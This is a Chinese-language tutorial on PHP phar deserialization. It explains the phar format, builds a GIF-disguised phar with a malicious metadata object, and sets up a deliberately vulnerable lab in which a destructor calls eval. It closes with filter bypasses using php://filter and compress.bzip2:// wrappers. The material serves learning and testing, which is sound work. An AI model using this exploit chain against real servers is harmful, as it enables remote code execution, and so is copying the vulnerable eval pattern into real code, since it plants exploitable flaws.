phar介绍
phar反序列化是利用phar://伪协议配合其他条件。进行反序列化
phar归档文件主要是用来将多个文件归档到一个文件。和压缩文件差不多。然后通过phar协议去解析文件
phar文件格式
stub:phar文件标识
格式为xxxxx<?php __HALT_COMPILER();?>
前面内容不限,必须以<?php __HALT_COMPILER();?>结尾,这个主要是为了能让phar识别phar文件
由于前面文件头可以是任意字符串。那么我们就可以构造GIF文件头或其他的文件头。伪造文件类型。绕过上传限制。并且由于结尾没变。还能被phar解析
a manifest describing the contents
phar文件本质上是压缩文件。文件的权限、属性等信息都放在这部分。
这部分还会以序列化的形式存储用户自定义的meta-data,这个和我们的phar反序列化密不可分。
自定义meta-data,传入危险函数。就会造成代码执行```
the file contents
被压缩文件的内容
signature
文件的签名内容
实验
根据文件结构。我们来自己构建一个phar文件。php内置了phar类。
在开始前。我们需要将php.ini中的phar_readonly设置为off
并且。确定目录是否有写权限。
<?php
class test {
}
@unlink("test.phar");
//自动删除。上一次的test.phar
$phar = new Phar("test.phar");
//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//设置stub
$o = new test();
$phar->setMetadata($o);
//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//添加要压缩的文件,可有可无
$phar->stopBuffering();
//签名自动计算
?>
通过Web访问php页面。成功生成phar文件,这里没有任何伪装。phar格式
下面生成一个GIF文件类型的phar文件
<?php
class test{
var $output='';
}
@unlink("test.phar");
$phar = new Phar("test.phar");
//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
//设置stub,这里。我们将GIF89a,GIF文件头加上了
$o = new test();
$o->output='phpinfo();';
$phar->setMetadata($o);
//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问php页面。成功生成了GIF类型的phar文件
漏洞利用
这个漏洞。利用条件有三个
1.需要有反序列化的操作。
php的大部分文件操作函数。都能通过phar://伪协议解析phar文件。将meta-data反序列化
2.phar文件需要上传或其他手段。放到对方本地上
3.需要类的魔法函数和危险函数
比如类析构函数自动调用eval函数。而eval函数内的参数可控。
下面就来做个实验。
环境如下:
文件上传。只能上传GIF后缀文件
输入文件名判断是否存在。存在就调用类
类有一个析构函数。调用类自动执行eval函数
index.php
<?php
$file=$_GET['file'];
class test{
var $output='echo "ok";';
function __destruct(){
eval($this->output);
}
}
$a=new test();
if(file_exists($file)){
$a=new test();
}else{
echo 'file not exists';
}
?>
upload.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>
upload.html
<html>
<body>
<form action="/phar/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>
首先。我们伪造一个GIF头的phar文件。然后改名为test.gif
<?php
class test{
//要和index.php的类名一样
var $output = '';
}
$phar = new Phar('test.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new test();
$object -> output= 'phpinfo();';
//写入我们的恶意代码
$phar -> setMetadata($object);
$phar -> stopBuffering();
然后。利用phar://伪协议访问,成功执行phar文件内的恶意代码
Bypass
如果过滤了phar://关键字。那么可以通过
php://filter/resource=phar://upload/xxxxx.jpg
compress.bzip2://phar://upload_files/phar.gif
gzlib:phar:///xxxxx.jpg
来进行绕过